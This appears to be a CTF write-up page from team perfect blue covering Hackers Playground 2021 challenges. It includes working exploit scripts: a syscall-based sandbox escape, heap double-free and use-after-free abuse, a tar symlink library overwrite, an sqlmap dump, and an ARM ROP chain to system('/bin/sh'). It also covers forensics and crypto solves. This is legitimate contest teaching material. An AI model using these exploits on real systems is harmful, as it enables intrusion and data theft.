Try   HackMD

Hackers Playground 2021 Writeups

Writeups by team perfect blue

SW Expert Academy

In this challenge, we are given an online code challenge website where we can compile and run code, and we get the output of how many test cases were passed.

The obvious things such as open/execve and other risky commands were filtered, however we could use syscall. Using this, we can basically do a open/read to read the flag file.

Since we don't get direct output, but only a boolean array of which testcases passed, we can use this information to extract the flag 3 bits at a time.

import requests

def send(code):
    req = requests.post("http://swexpertacademy.sstf.site/code", data={"code": code})
    return req.json()

# Flag length is 40 characters

payload = """
int fd = syscall(2, "/flag.txt", 0, 0);
char flag[100] = {0};
int out = syscall(0, fd, flag, 100);
int bits[400] = {0};
int idx = 0;
for (int i = 0; i < out; i++) {
    for (int j = 7; j >= 0; j--) {
        bits[idx++] = flag[i] & (1 << j);
    }
}

int sice = SICER;

int a, b, c, d, e, f; scanf("%d %d %d %d %d %d", &a, &b, &c, &d, &e, &f);
int g; scanf(" %d", &g);
if (a == 3 && bits[sice]) puts("2/3");
else if (a == 1 && g == 3 && bits[sice+1]) puts("5/12");
else if (a == 1 && g == 8 && bits[sice+2]) puts("1/2");
"""

ans = ''

for i in range(0, 390, 3):
    curr = payload.replace("SICER", str(i))
    out = send(curr)
    for x in out:
        ans += str(int(x))
    print(ans)

# SCTF{take-care-when-execute-unknown-code}

LostArk

The character variables were uninitialized, so you could create the secret toon, then delete it, and the next one would re-use the previous skill.

$ nc lostark.sstf.site 1337

=== menu ===

pick: 1

== create ==
1) Reaper 2) Bard 3) Warlord
pick: 7

=== menu ===

pick: 4

== choose ==
pick: 0

=== menu ===
You: [Special] Lupeon

pick: 2

== delete ==
pick: 0

=== menu ===

pick: 1

== create ==
1) Reaper 2) Bard 3) Warlord
pick: 1
name: 1
Hi 1

=== menu ===

pick: 4

== choose ==
pick: 0

=== menu ===
You: [Reaper] 1

pick: 6

= use skill =
cat flag
SCTF{Wh3r3 1s 4 Dt0r?}

meLorean

There was a crazy Data Scientist who rectilinearly claimed mathematics can make miracles.
He left a note and then disappeared. Help to decode it.

In this challenge, there is a file called "dataset.txt", which contains 26 lines of tuple pairs, where the first number in each pair is an integer, and the second a float. Going through each line, sorting the tuples by the first number and plotting it, shows that every graph is increasing along the Y-axis, but with tiny glitches/perturbations.

Each graph can very accurately be approximated by a straight line, which is hinted to in the challenge text. We do some quick linear regression of order 1, and recover the slope of each line.

import numpy as np
from matplotlib import pyplot as plt

for line in open("dataset.txt").read().splitlines():
    L = sorted(eval(line))    
    x = [e[0] for e in L]
    y = [e[1] for e in L]
    # plt.plot(x,y); plt.show()
    print(chr(int(round(np.polyfit(x,y,1)[0]))), end="")
    # SCTF{Pr0gre55_In_R3gr3ss}

Secure Enough

We were given a binary which implemented a custom data exchange protocol. We were also given a pcap which contained a capture of two such transfers.

First it generated around 64 bytes of random data by generating the md5 hash of a random output from rand(). However, the RNG was seeded using the current time.

First we used hashcat to recover the 4 bytes which were hashed into the random data.

a3e6f484d7865ab1056e15833c748bed - 0433e875
b689c0613fa1146a35f129797a770514 - 99a22a50

Once we have this, we can use a tool like untwister to find which seed generated these two random numbers consecutively.

$ ./untwister -i input.txt -d 2 -s 1529098943 -S 1729098943
[*] Depth set to: 2
[!] Not enough observed values to perform state inference, try again with more than 32 values.
[*] Looking for seed using glibc-rand
[*] Spawning 12 worker thread(s) ...
[*] Completed in 16 second(s)
[$] Found seed 1624347317 with a confidence of 100.00%

Now that we have the seed and the secret random data, we can just write a script to generate the AES key and decrypt the flag.

from ctypes import CDLL
import hashlib
from pwn import *
from Crypto.Cipher import AES

libc = CDLL("libc.so.6")

seed = 1624347317

libc.srand(seed)

hash_1 = hashlib.md5(p32(libc.rand())).digest()
hash_2 = hashlib.md5(p32(libc.rand())).digest()

seed = 1624347317

libc.srand(seed)

hash_3 = hashlib.md5(p32(libc.rand())).digest()
hash_4 = hashlib.md5(p32(libc.rand())).digest()

print(hash_1.hex())
print(hash_2.hex())

remote_key = unhex('0ae04f33e00939ba0e50c7ccc0a90d933374486d9afffd052be8c8462d666120')

aes_key = hashlib.md5(b"A" + hash_1 + hash_2 + hash_3 + hash_4 + remote_key).digest()
aes_key += hashlib.md5(b"BB" + hash_1 + hash_2 + hash_3 + hash_4 + remote_key).digest()
aes_iv = hashlib.md5(b"CCC" + hash_1 + hash_2 + hash_3 + hash_4 + remote_key).digest()

cipher = AES.new(aes_key, AES.MODE_CBC, aes_iv)
print(repr(cipher.decrypt(unhex("dc014f2266d9368dbd6fb5d3fa1d675cc2172ae703872afbadc94dc8cbc8afcda7c1177253fe51114041ad0103bbb865"))))

Running this, we get the flag:

$ python solve.py
a3e6f484d7865ab1056e15833c748bed
b689c0613fa1146a35f129797a770514
b'\x04SCTF{B3_CAR3_FULL_W1T4_RAND0M}\x00\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'

LostArk2

The object members are still uninitialized. However, the objects are within shared pointers. Creating, choosing, then deleting an object will cause a double free. Using this double free, we can re-use the previous skill by overlapping an object that is allowed skills over the special character object.

$ nc lostark2.sstf.site 1337

=== menu ===
1. Create a new character
2. Delete a character
3. List
4. Choose a character
5. Set skill
6. Use skill
7. Exit
pick: 
== create ==
1) Reaper 2) Bard 3) Warlord
pick: name: Hi a

=== menu ===
1. Create a new character
2. Delete a character
3. List
4. Choose a character
5. Set skill
6. Use skill
7. Exit
pick: 
== choose ==
pick: 
=== menu ===
You: [Reaper] a
1. Create a new character
2. Delete a character
3. List
4. Choose a character
5. Set skill
6. Use skill
7. Exit
pick: 
== delete ==
pick: 
=== menu ===
1. Create a new character
2. Delete a character
3. List
4. Choose a character
5. Set skill
6. Use skill
7. Exit
pick: 
== create ==
1) Reaper 2) Bard 3) Warlord
pick: 
=== menu ===
1. Create a new character
2. Delete a character
3. List
4. Choose a character
5. Set skill
6. Use skill
7. Exit
pick: 
== create ==
1) Reaper 2) Bard 3) Warlord
pick: name: Hi a

=== menu ===
1. Create a new character
2. Delete a character
3. List
4. Choose a character
5. Set skill
6. Use skill
7. Exit
pick: 
== choose ==
pick: 
=== menu ===
You: [Reaper] a
1. Create a new character
2. Delete a character
3. List
4. Choose a character
5. Set skill
6. Use skill
7. Exit
pick: 
= use skill =
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
SCTF{KUKURUPPINGPPONG!}

Memory

The binary uses tar archives to backup and restore backups.

Upload a tar file that creates a symlink to ../lib, then a second one that writes a file in there to overwrite the libutil.so in ../lib/ and get code exec.

from pwn import *
import hashlib
import sys
import time

#gdb pipe-ing client
# context.terminal = ['/opt/gdb/client.sh']

OPTIONS = {
        'binary' : './memory',
        'server' : 'memory.sstf.site',
        'port' : 31339,
        'libc': None
}

def rc():
    r.recvuntil(" :")

def upload_bak(filename):
    with open(filename, "rb") as f:
        data = f.read().encode('base64').replace("\n", "")
    r.sendline('5')
    rc()
    r.sendline(str(len(data)))
    rc()
    r.send(data)

def create_archive(filename):
    with open(filename, "rb") as f:
        data = f.read()
    data = "SCTF" + p32(len(data)) + hashlib.sha256(data).digest() + data
    with open(filename+".sig", "wb") as f:
        f.write(data)

def exploit(r):
    # r.interactive()
    rc()
    create_archive("backup.tar")
    upload_bak("backup.tar.sig")

    create_archive("backup2.tar")
    upload_bak("backup2.tar.sig")


    r.interactive()


if __name__ == "__main__":
        binary = ELF(OPTIONS['binary'], checksec=False)
        # if OPTIONS['libc'] != None:
                # libc = ELF(OPTIONS['libc'], checksec=False)     
        # else:
                # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
        if args['REMOTE'] == '1':
                r = remote(OPTIONS['server'], OPTIONS['port'])
                exploit(r)
        else:
                r = process(OPTIONS['binary'])
                # gdb.attach(r, gdb_commands)
                pause()
                exploit(r)

Poxe Center

There was a SQL injection in the sortName field. We can use SQLMap to automatically dump this data.

./sqlmap.py -o -u "http://poxecenter.sstf.site:31888/demo/getGochaList?sortName=11&sortFlag=desc" -D public --dump-all

The flag is stored in one of the tables.

Exchange

We found that it was possible to make a small amount of money using small decimal values during exchanges. Repeating this, it is possible to earn enough money to buy the flag.

import requests

s = requests.Session()

s.get('http://exchange.sstf.site:7878/register.php')

for i in range(1500):
    print(i)
    s.post('http://exchange.sstf.site:7878/order.php', data={'ordertype': 'bid', 'pricetype': 'market', 'amount': '0.1003996'})
    s.post('http://exchange.sstf.site:7878/order.php', data={'ordertype': 'ask', 'pricetype': 'market', 'amount': '0.1'})

s.post('http://exchange.sstf.site:7878/order.php', data={'ordertype': 'bid', 'pricetype': 'market', 'amount': '0.999'})

r = s.get('http://exchange.sstf.site:7878/claim.php?idx=1')
print(r.text)

CyberPunk 2021

You can easily overwrite the return address with values in a 6x6 board. Also there are some values of a function that calls execve("/bin/sh").

void __fastcall sub_DCA(__int64 a1) { __int64 v1; // rbx int i; // [rsp+18h] [rbp-18h] int j; // [rsp+1Ch] [rbp-14h] for ( i = 0; i <= 5; ++i ) { for ( j = 0; j <= 5; ++j ) { do { if ( (rand() & 1) != 0 ) v1 = (__int64)sub_B5A; // execve("/bin/sh") else v1 = (__int64)&system; *(_BYTE *)(6 * i + j + a1) = v1 >> (8 * (unsigned __int8)(rand() % 8)); } while ( !*(_BYTE *)(6 * i + j + a1) ); } } }

The function ends with B5A, so what we need to do is 1. put enough values on the buffer to overwrite ret, 2. put 5A and XB to jump to the function.

The flag is SCTF{ch4LL3N63_pwn3d!_Y0u'r3_br347h74K1N6!}.

armarm

When saving notes the was a stack overflow if the username + note was larger than 100 characters, allowing ROP to be used. Since it was running with qemu, the base address of libc was static so a simple system("/bin/sh") gadget chain could be built and run.

from pwn import *

def register(username, password):
    p.sendlineafter(">>", "1")
    p.sendlineafter("User:", username)
    p.sendlineafter("Password:", password)

def login(username, password):
    p.sendlineafter(">>", "2")
    p.sendlineafter("User:", username)
    p.sendlineafter("Pass:", password)

def print_notes():
    p.sendlineafter(">>", "3")

def save_note(note):
    p.sendlineafter(">>", "4")
    p.sendlineafter("data:", note)

def exploit():

    username = "A"* 80
    password = "pass"
    register(username, password)
    login(username, password)

    rop = ROP(libc)
    rop.raw(libc.address + pop_r0)
    rop.raw(libc.address + bin_sh)
    rop.raw(libc.symbols["system"])

    payload = b""
    payload += cyclic(12)
    payload += p32(0x12345678) + bytes(rop)

    save_note(b"note://" + payload)
    p.interactive()

if __name__ == "__main__":
    context.arch = "arm"

    pop_r0 = 0x0004c631 # 0x0004c630 (0x0004c631): pop {r0, pc};
    bin_sh = 0x000d5f2c # /bin/sh

    libc = ELF("libc-2.27.so", checksec=False)
    libc.address = 0xff6c8000

    binary = ELF("prob", checksec=False)

    p = remote("armarm.sstf.site", 31338)

    exploit()

Men in Black Hats

This was a misc/coding challenge that we got first blood on.

We are given a python script with many coordinates of "stars," and it creates a picture with these stars. I noticed that the stars are given in 3d dimensions, but are only displayed in X/Y coordinates, and the Z coordinate is unused. This made me guess that all the points made a flag in 3d, but since we were only given a 2d projection we could not see the flag.

There was also this interesting area near the middle of the image:

img

I ended up plotting all the points in 3d using Matthew's Laboratory (MATLAB) and just dragging the camera around. However, this was not helpful. Then, I remembered the strange points (with radius 0) near the middle of the circle, so I decided to plot only those.

x = [-98.113, -76.247, -104.097, -84.045, -91.402, -78.216, -86.376, -96.688, -83.63, -101.714, -96.921, -96.013, -68.139, -101.428, -82.231, -90.522, -81.299, -102.05, -79.564, -84.045, -84.407, -74.045, -87.724, -102.309, -74.15, -96.48, -105.417, -93.966, -78.968, -97.853, -94.485, -93.916, -85.081, -95.522, -99.278, -84.2, -84.226, -87.179, -77.62, -85.029, -79.407, -104.278, -88.475, -79.614, -96.221, -93.008, -87.024, -108.37, -84.848, -100.081, -104.64, -80.029, -80.832, -80.806, -105.598, -100.651, -92.205, -73.528, -76.454, -102.309, -79.278, -92.775, -98.034, -78.423, -79.226, -94.459, -100.703, -85.522, -95.184, -100.522, -94.667, -75.937, -91.583, -77.62, -82.31, -96.506, -73.864, -101.454, -78.942, -85.858, -77.31, -105.858, -86.661, -69.278, -94.848, -80.108, -90.417, -78.216, -109.459, -99.874, -86.013, -99.926, -99.304, -93.554, -83.423, -72.076, -85.003, -88.397, -102.905, -91.299, -93.578, -89.433, -78.242, -81.635, -84.486, -82.412, -88.837, -76.714, -84.538, -94.123, -89.874, -91.066, -71.714, -84.848, -104.097, -78.656, -79.459, -109.536, -78.916, -86.428, -102.386, -91.48, -83.864, -101.687, -81.195, -81.533, -101.714, -101.714, -85.055, -98.735, -75.832, -94.693, -94.538, -84.564, -79.433, -89.278, -91.816, -100.262, -67.698, -96.092, -98.268, -76.662, -99.926, -95.289, -96.895, -97.128, -77.231, -77.984, -81.454, -98.63, -76.895, -67.388, -78.89, -96.092, -82.129, -77.62, -99.071, -93.268, -104.407, -88.604, -99.719, -85.548, -107.438, -74.874, -94.407, -104.173, -68.995, -88.294, -82.879, -82.646, -97.931, -81.662, -87.283, -89.278, -90.625, -79.226, -92.543, -80.16, -96.144, -85.055, -93.034, -78.423, -102.309, -101.299, -76.428, -100.339, -86.688, -79.459, -102.698, -79.433, -76.04, -91.273, -76.352, -87.672, -102.879, -92.879, -101.48, -70.367, -84.381, -94.097, -86.869, -102.179, -81.766, -89.331, -99.667, -95.937, -87.879, -95.391, -93.682, -79.226, -90.548, -102.801, -78.449, -72.698, -79.019, -96.273, -101.661, -76.378, -101.895, -94.926, -80.418, -82.777, -84.226, -83.968, -90.107, -90.444, -88.89, -92.283, -75.73, -91.661, -78.087, -99.874, -84.174, -79.407, -74.045, -93.241, -75.444, -104.693, -105.236, -95.884, -92.593, -82.362, -77.257, -102.438, -83.113, -94.485, -101.714, -87.076, -73.139, -69.564, -103.501, -79.848, -107.333, -80.625, -81.559, -97.024, -93.241, -92.958, -105.987, -87.879, -74.252, -94.173, -98.735, -98.735, -96.714, -100.598, -102.491, -99.95, -76.559, -93.761, -105.651, -98.37, -87.62, -97.491, -80.236, -86.092, -85.236, -77.155, -81.895, -75.055, -91.895, -87.646, -87.179, -75.651, -101.687, -86.066, -106.971, -97.464, -76.428, -78.216, -90.289, -95.522, -106.013, -69.564, -93.966, -95.107, -100.496, -95.289, -84.614, -102.982, -69.874, -77.672, -71.533, -102.905, -103.06, -92.076, -76.662, -88.554, -78.554, -84.433, -73.58, -94.926, -85.418, -85.444, -82.205, -78.811, -77.465, -74.252, -78.216, -101.842, -87.102, -102.309, -96.039, -75.858, -98.32, -99.562, -92.386, -74.46, -85.134, -79.874, -87.076, -75.263, -78.683, -97.698, -82.646, -81.221, -77.491, -101.247, -79.822, -103.034, -82.751, -86.869, -101.714, -95.341, -82.284, -98.32, -98.735, -74.641, -92.205, -80.055, -82.205, -89.433, -97.698, -102.619, -75.677, -98.501, -89.097, -85.911, -107.05, -103.551, -95.107, -90.107, -98.682, -99.097, -73.191, -80.599, -79.407, -86.013, -86.816, -94.045, -78.423, -104.252, -98.735, -95.289, -78.735, -96.947, -92.905, -81.221, -97.128, -99.822, -84.641, -87.438, -83.837, -80.236, -83.423, -87.543, -95.677, -109.252, -83.449, -75.832, -101.53, -88.554, -82.491, -79.045, -86.661, -83.992, -75.134, -101.349, -88.837, -82.853, -83.656, -100.107, -88.139, -91.299, -82.31, -87.748, -103.268, -89.202, -90.522, -89.045, -84.433, -99.485, -89.667, -107.619, -105.858, -72.672, -81.869, -90.21, -94.874, -100.522, -79.407, -102.748, -75.055, -78.268, -80.003, -87.543, -82.412, -97.36, -86.661, -79.176, -97.619, -71.662, -78.113, -91.118, -81.998, -92.905, -104.874, -73.475, -93.475, -73.735, -87.024, -81.402, -102.982, -99.719, -86.066, -99.018, -89.252, -86.247, -75.444, -87.076, -96.869, -78.995, -90.391, -90.625, -110.21, -91.533, -83.008, -80.703, -90.444, -81.013, -75.082, -78.087, -93.113, -78.034, -86.066, -108.577, -80.289, -89.64, -89.486, -77.231, -95.081, -98.086, -85.885, -83.242, -81.635, -97.309, -80.21, -93.163, -98.708, -81.402, -98.034, -80.055, -106.48, -100.107, -75.832, -97.464, -85.003, -96.351, -97.593, -108.759, -81.428, -81.013, -101.895, -84.045, -77.672, -100.107, -94.381, -101.895, -94.538, -80.21, -98.735, -78.811, -77.362, -73.656, -77.62, -101.118, -87.853, -103.034, -76.974, -87.62, -97.698, -93.294, -73.916, -92.465, -89.304, -77.62, -110.987, -89.745, -102.152, -106.842, -91.376, -97.724, -97.619, -89.719];
y = [110.089, 97.604, 107.058, 97.163, 88.924, 91.593, 83.95, 105.297, 94.365, 110.27, 111.696, 91.1, 115.246, 93.872, 94.572, 111.929, 107.577, 98.068, 119.986, 97.163, 89.961, 97.215, 112.344, 109.467, 117.215, 103.898, 91.851, 82.111, 120.79, 98.69, 104.908, 110.711, 104.157, 111.903, 103.483, 88.562, 93.562, 84.546, 92.396, 94.158, 89.987, 103.457, 102.94, 91.386, 92.499, 90.116, 93.147, 82.835, 97.759, 104.079, 96.255, 94.184, 94.779, 89.78, 88.25, 98.276, 89.52, 113.018, 99.002, 109.467, 103.588, 83.717, 95.089, 92.992, 93.588, 99.908, 108.276, 111.955, 85.504, 111.877, 101.307, 114.805, 85.323, 92.396, 109.572, 108.898, 100.816, 98.872, 115.79, 99.753, 109.598, 99.649, 100.349, 103.64, 97.706, 109.183, 91.929, 91.593, 99.83, 102.68, 91.152, 112.68, 108.483, 117.913, 92.966, 103.225, 89.158, 87.94, 108.664, 107.525, 84.313, 94.934, 96.593, 95.375, 104.961, 90.971, 95.738, 110.401, 114.96, 112.11, 102.732, 101.126, 110.427, 97.759, 107.058, 99.391, 99.987, 76.229, 110.79, 93.95, 85.867, 103.924, 100.764, 105.27, 87.577, 113.976, 110.27, 110.27, 99.157, 114.286, 94.806, 106.307, 114.908, 119.96, 94.987, 103.535, 91.722, 100.478, 107.448, 106.1, 101.488, 100.401, 112.68, 105.504, 106.696, 113.094, 94.598, 123.795, 98.976, 94.286, 106.8, 124.65, 105.79, 106.1, 113.173, 92.396, 102.084, 101.514, 89.856, 89.339, 111.281, 116.955, 95.84, 102.811, 89.908, 83.457, 125.842, 106.541, 103.769, 97.37, 113.69, 100.375, 104.546, 103.535, 93.328, 93.588, 115.918, 119.183, 116.1, 99.157, 95.116, 92.992, 109.467, 107.473, 94.003, 76.877, 105.349, 99.987, 107.265, 94.987, 96.205, 102.525, 117.603, 102.344, 103.664, 103.717, 103.872, 120.635, 84.961, 107.11, 101.748, 84.468, 120.375, 113.535, 101.281, 114.701, 103.743, 86.903, 104.312, 93.588, 116.929, 88.664, 97.992, 107.422, 92.189, 102.499, 100.271, 122.603, 106.669, 112.706, 91.982, 122.37, 93.562, 120.763, 109.131, 96.929, 105.737, 104.52, 113.406, 100.323, 105.194, 102.68, 83.562, 89.987, 97.215, 96.515, 97.008, 106.255, 95.452, 104.701, 87.318, 119.572, 99.598, 95.866, 110.168, 104.908, 110.27, 103.147, 115.22, 120.039, 107.861, 97.785, 75.841, 93.381, 118.976, 93.095, 96.515, 118.716, 86.048, 103.743, 98.614, 83.509, 114.286, 114.286, 110.297, 88.276, 105.866, 79.079, 119.002, 119.312, 98.25, 82.888, 92.344, 105.892, 95.583, 106.152, 95.556, 118.199, 106.774, 99.21, 106.722, 97.344, 84.546, 98.407, 105.27, 101.152, 83.043, 100.893, 94.003, 91.593, 105.53, 111.903, 91.048, 120.039, 82.111, 109.105, 106.877, 105.504, 91.36, 85.063, 102.837, 102.396, 114.028, 108.664, 100.063, 103.121, 100.401, 117.939, 117.992, 94.961, 123.018, 112.706, 91.955, 96.955, 89.572, 90.79, 100.997, 98.614, 91.593, 96.67, 108.147, 109.467, 96.1, 99.806, 111.488, 81.281, 85.919, 100.013, 114.157, 102.785, 103.147, 100.609, 104.391, 107.291, 97.37, 92.577, 105.997, 97.473, 92.785, 95.063, 117.37, 101.748, 110.27, 115.504, 104.572, 111.488, 114.286, 96.412, 89.52, 99.184, 89.572, 94.934, 107.291, 92.265, 103.407, 107.887, 107.136, 109.753, 98.042, 79.26, 109.105, 109.131, 104.286, 107.084, 125.22, 88.381, 89.987, 91.152, 91.748, 97.11, 92.992, 98.457, 114.286, 105.504, 114.391, 116.695, 108.716, 92.577, 113.094, 92.68, 96.36, 95.945, 95.764, 95.583, 92.966, 115.945, 103.302, 98.431, 97.966, 94.806, 75.271, 117.939, 105.971, 97.189, 100.349, 87.163, 114.21, 78.872, 95.738, 98.769, 99.365, 109.079, 115.142, 107.525, 109.572, 78.743, 101.462, 127.136, 111.929, 97.137, 94.961, 104.882, 101.333, 92.239, 99.649, 102.422, 101.774, 90.53, 102.706, 111.877, 89.987, 78.665, 99.21, 101.593, 89.184, 115.945, 90.971, 80.893, 100.349, 122.189, 92.292, 100.428, 110.194, 111.126, 88.173, 108.716, 102.654, 103.018, 102.913, 114.417, 93.147, 88.976, 85.063, 111.281, 101.152, 92.084, 98.535, 97.551, 97.008, 103.147, 101.696, 125.79, 86.929, 93.328, 90.426, 113.924, 90.168, 108.38, 96.929, 91.178, 104.21, 105.194, 110.115, 95.194, 101.152, 84.234, 105.582, 96.333, 104.934, 94.598, 104.105, 105.089, 104.753, 96.567, 95.375, 109.493, 90.583, 81.515, 109.286, 88.976, 95.089, 99.184, 103.845, 109.079, 94.806, 100.893, 89.158, 117.499, 87.292, 80.633, 93.976, 91.178, 106.669, 97.163, 102.396, 109.079, 84.908, 106.669, 114.908, 90.583, 114.286, 90.79, 119.598, 99.417, 92.396, 111.074, 98.743, 95.063, 121.8, 92.344, 107.291, 106.514, 110.816, 100.919, 108.535, 92.396, 86.022, 116.333, 79.468, 96.643, 83.924, 112.291, 92.292, 111.333];
z = [683.667, 681.667, 694.667, 711.667, 707.667, 683.667, 691.667, 681.667, 681.667, 702.667, 695.667, 690.667, 697.667, 696.667, 681.667, 696.667, 708.667, 699.667, 687.667, 681.667, 681.667, 707.667, 687.667, 685.667, 701.667, 685.667, 705.667, 698.667, 695.667, 697.667, 711.667, 706.667, 695.667, 696.667, 683.667, 703.667, 700.667, 695.667, 691.667, 684.667, 688.667, 692.667, 689.667, 684.667, 705.667, 685.667, 684.667, 698.667, 681.667, 687.667, 703.667, 685.667, 684.667, 696.667, 690.667, 698.667, 685.667, 692.667, 682.667, 696.667, 708.667, 694.667, 704.667, 688.667, 706.667, 682.667, 707.667, 692.667, 692.667, 693.667, 700.667, 691.667, 699.667, 702.667, 701.667, 711.667, 700.667, 689.667, 688.667, 710.667, 690.667, 692.667, 686.667, 711.667, 693.667, 683.667, 696.667, 693.667, 710.667, 686.667, 688.667, 687.667, 681.667, 681.667, 682.667, 692.667, 697.667, 691.667, 686.667, 711.667, 689.667, 681.667, 711.667, 683.667, 705.667, 692.667, 711.667, 686.667, 701.667, 700.667, 681.667, 704.667, 699.667, 711.667, 681.667, 692.667, 707.667, 695.667, 689.667, 685.667, 686.667, 681.667, 709.667, 705.667, 706.667, 696.667, 703.667, 689.667, 711.667, 695.667, 694.667, 701.667, 711.667, 697.667, 705.667, 707.667, 707.667, 691.667, 681.667, 695.667, 684.667, 690.667, 691.667, 681.667, 684.667, 689.667, 686.667, 688.667, 696.667, 709.667, 695.667, 697.667, 684.667, 711.667, 694.667, 690.667, 703.667, 694.667, 704.667, 689.667, 695.667, 692.667, 697.667, 694.667, 695.667, 703.667, 699.667, 690.667, 683.667, 687.667, 703.667, 699.667, 711.667, 698.667, 690.667, 703.667, 694.667, 691.667, 696.667, 704.667, 704.667, 687.667, 688.667, 705.667, 701.667, 699.667, 681.667, 694.667, 699.667, 686.667, 694.667, 699.667, 691.667, 686.667, 690.667, 709.667, 711.667, 693.667, 682.667, 686.667, 682.667, 706.667, 700.667, 687.667, 701.667, 690.667, 702.667, 698.667, 682.667, 686.667, 689.667, 700.667, 685.667, 703.667, 703.667, 702.667, 707.667, 694.667, 685.667, 681.667, 697.667, 694.667, 711.667, 690.667, 695.667, 687.667, 702.667, 711.667, 706.667, 711.667, 701.667, 709.667, 708.667, 682.667, 686.667, 696.667, 702.667, 700.667, 687.667, 683.667, 685.667, 688.667, 700.667, 707.667, 694.667, 681.667, 690.667, 707.667, 700.667, 701.667, 684.667, 694.667, 695.667, 688.667, 696.667, 706.667, 708.667, 691.667, 694.667, 710.667, 700.667, 704.667, 698.667, 707.667, 709.667, 687.667, 683.667, 689.667, 691.667, 711.667, 699.667, 699.667, 697.667, 685.667, 689.667, 682.667, 682.667, 697.667, 687.667, 682.667, 681.667, 686.667, 694.667, 709.667, 697.667, 711.667, 703.667, 710.667, 695.667, 697.667, 711.667, 705.667, 704.667, 691.667, 691.667, 711.667, 709.667, 711.667, 685.667, 688.667, 709.667, 687.667, 700.667, 697.667, 705.667, 710.667, 703.667, 690.667, 702.667, 685.667, 699.667, 689.667, 708.667, 682.667, 695.667, 687.667, 711.667, 693.667, 705.667, 706.667, 708.667, 708.667, 686.667, 691.667, 702.667, 700.667, 694.667, 698.667, 684.667, 702.667, 681.667, 681.667, 692.667, 709.667, 681.667, 683.667, 703.667, 699.667, 707.667, 689.667, 687.667, 711.667, 704.667, 703.667, 695.667, 708.667, 699.667, 698.667, 707.667, 689.667, 702.667, 709.667, 683.667, 691.667, 705.667, 687.667, 689.667, 684.667, 694.667, 698.667, 705.667, 706.667, 708.667, 683.667, 690.667, 692.667, 704.667, 703.667, 692.667, 685.667, 711.667, 703.667, 701.667, 682.667, 706.667, 706.667, 710.667, 709.667, 693.667, 684.667, 683.667, 705.667, 695.667, 686.667, 695.667, 688.667, 709.667, 681.667, 709.667, 700.667, 691.667, 697.667, 709.667, 705.667, 706.667, 689.667, 696.667, 688.667, 702.667, 706.667, 710.667, 706.667, 708.667, 693.667, 685.667, 710.667, 691.667, 711.667, 700.667, 698.667, 711.667, 692.667, 686.667, 689.667, 703.667, 696.667, 694.667, 708.667, 699.667, 692.667, 696.667, 700.667, 711.667, 696.667, 685.667, 703.667, 687.667, 697.667, 710.667, 692.667, 684.667, 684.667, 684.667, 691.667, 692.667, 709.667, 709.667, 701.667, 681.667, 688.667, 710.667, 699.667, 705.667, 689.667, 693.667, 705.667, 710.667, 681.667, 683.667, 711.667, 694.667, 699.667, 703.667, 682.667, 695.667, 693.667, 699.667, 699.667, 681.667, 705.667, 698.667, 707.667, 693.667, 688.667, 681.667, 701.667, 698.667, 692.667, 711.667, 689.667, 688.667, 681.667, 682.667, 700.667, 709.667, 703.667, 697.667, 695.667, 687.667, 701.667, 708.667, 709.667, 683.667, 684.667, 699.667, 683.667, 711.667, 709.667, 694.667, 699.667, 709.667, 708.667, 697.667, 705.667, 706.667, 686.667, 695.667, 687.667, 689.667, 690.667, 682.667, 681.667, 697.667, 698.667, 703.667, 705.667, 703.667, 702.667, 697.667, 688.667, 681.667, 697.667, 687.667, 681.667, 682.667, 689.667, 697.667, 694.667, 704.667, 690.667, 705.667, 711.667, 689.667, 700.667];
plot3(x,y,z,'o')

This was very helpful, as after rotating for a little bit I was able to see this:

img

This is obviously a QR code! With a bit more zooming and rotation, I was able to rotate to an even better angle:

img

This still didn't scan though, so I changed the points to black squares:

img

Then filled the non-square area with black and flipped the image horizontally:

img

This scanned properly from my phone, and we got the flag.

SCTF{MiB_sh0u1d_t@k3_c4re_0f_my_CAt}

Mars Rover

This was a forensics challenge that we got first blood on.

We were given an image of a mars rover.

The first thing I tried was opening it in zsteg. This was not very useful. The next thing I tried was opening it in tweakpng, to see the data chunks:

img

There are so many IDATs, all with different sizes! This is very suspicious. My initial thought was that the flag was encoded in the length fields, but then I noticed something even more interesting: most of the LSBs in the CRC are the same! The ones that are different, are all printable ASCII too:

img

I quickly wrote a script to get this data:

a = open('MarsRover.png','rb').read()
b = a.split("IDAT")
deetos = []
for i in b:
    deetos.append(i[-8:-4].encode('hex'))

print ''.join([i[-2:].decode('hex') for i in deetos])

This prints out the flag.

img

SCTF{M4rti@n_wi11_b3_bACk_aT_anY_t1M3}

Remains

This was a forensics challenge that we got first blood on.

We were given a VirtualBox saved state file (you can check by opening the file, the first bytes are VirtualBox SavedState V2.0).

I did a quick google search and saw there were past CTF challenges using this format, and found this writeup: https://ox002147.gitlab.io/writeup-bitsctf-for60.html

I also noticed at the end there was a .png file, used for the screen capture to show on virtualbox. After extracting it, we saw that it showed a shell, with ./sav and "Wanna flag?"

img

Using the tool linked in the writeup (https://www.dropbox.com/sh/vtsk0ji7pqhje42/AABY57lRqinlwZpo8t9zzGYka), I extracted the data from .sav, and searched the largest file for "Wanna flag?", and found a .elf binary.

img

This was a simple binary that would XOR the flag string with SCTF{. Scrolling a little bit up in the extracted data from the .sav, we found this string:

img

After xoring with repeated "SCTF{", it gave the flag.

SCTF{m3m0ry_15_7h3_k3y_n07_70_7h3_p457_bu7_70_7h3_ch4ll3n63!}

Logic or Die

The given circuit checks 8 bytes of the input. The checking logic is like:

  1. ror(inp[2], 5) ^ 0x34 == 0x98
  2. inp[3] == 0x67
  3. inp[7] >> 3 == 0xd, bitcount(inp[7]) == 5
  4. inp[4] - 0xa3 == 0xbe, inp[4] + 0xa3 == 0x04
  5. ~(-inp[6] ^ 0x3) == 0x36
  6. (inp[5] ^ inp[0]) + (inp[0] ^ inp[1]) == 0x6c, (inp[5] ^ inp[0]) - (inp[0] ^ inp[1]) == 0x0c
  7. RNG(seed=42)[inp[5]] == 0x01

The other part of the circuit is about doing RC4 to print the flag. Because of ambiguity of the condition 3, there are three possible keys:

59 69 65 67 61 65 33 6b
59 69 65 67 61 65 33 6d
59 69 65 67 61 65 33 6e

The right key was 59 69 65 67 61 65 33 6e, and the flag is SCTF{lOgic_e1em3nt5_maTteRs}.

ADBaby

We are given a command to run in adb: adb connect adbaby.sstf.site:6666

